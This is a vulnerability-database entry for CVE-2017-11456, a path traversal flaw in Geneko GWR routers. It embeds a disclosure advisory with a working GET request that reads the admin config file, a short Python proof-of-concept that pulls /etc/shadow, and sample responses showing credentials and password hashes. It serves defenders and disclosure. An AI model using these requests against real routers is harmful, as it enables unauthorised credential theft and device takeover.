CVE-2017-11456

high
Published 2017-07-19 · Modified 2026-05-13
CVSS v3
7.5
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVSS v4 NEW
not yet in upstream
VIR risk
8.5

Description

Geneko GWR routers allow directory traversal sequences starting with a /../ substring, as demonstrated by unauthenticated read access to the configuration file.

Predictions

Exploit likelihood
83%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-44072 webapps hardware text · 3 KB
SecuriTeam · 2017-07-16

Geneko Routers - Path Traversal

text exploit Source: Exploit-DB
## Vulnerability Summary
The following advisory describes a Unauthenticated Path Traversal vulnerability found in Geneko GWR routers series.

Geneko GWG is compact and cost effective communications solution that provides cellular capabilities for fixed and mobile applications such as data acquisition, smart metering, remote monitoring and management. GWG supports a variety of radio bands options on 2G, 3G and 4G cellular technologies.

## Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program

## Vendor response
We have informed Geneko of the vulnerability on the 28th of May 2017, the last email we received from them was on the 7th of June 2017. We have no further updates from Geneko regarding the availability of a patch or a workaround for the vulnerability.
CVE: CVE-2017-11456

## Vulnerability Details
User controlled input is not sufficiently sanitized, and then passed to a function responsible for accessing the filesystem. Successful exploitation of this vulnerability enables a remote unauthenticated user to read the content of any file existing on the host, this includes files located outside of the web root folder.

By sending the following GET request, You get direct access to the configuration file, which allows you to log in to the login panel:

```
GET /../../../../../../../../../../../../mnt/flash/params/j_admin_admin.params HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1
```

## Router response:

```
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 121

{"enable":true,"username":"admin","password”:"xxx!","web_access":0,"http_port":80,"https_port":443,"gui_timeout":15}

In this case, the admin user is configured to have access to the shell (SSH Access) as can be seen in the /etc/passwd

admin:x:0:0:root:/root:/root/cli
```

## Proof of Concept

path_traversal.py

```
import requests
import sys
domain = sys.argv[1]
r = requests.get("http://"+domain+"/../../../../../etc/shadow")
print r.content
```

The router then will response with:


```
root:$1$ryjw5yTs$xoQlzavABZ5c7gQuD7jKO0:10933:0:99999:7:::
bin:*:10933:0:99999:7:::
daemon:*:10933:0:99999:7:::
adm:*:10933:0:99999:7:::
lp:*:10933:0:99999:7:::
sync:*:10933:0:99999:7:::
shutdown:*:10933:0:99999:7:::
halt:*:10933:0:99999:7:::
uucp:*:10933:0:99999:7:::
operator:*:10933:0:99999:7:::
nobody:*:10933:0:99999:7:::
admin:$1$72G6z9YF$cs5dS2elxOD3qicUTlEHO/:10933:0:99999:7:::
```

References

CWEs

CWE-22

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.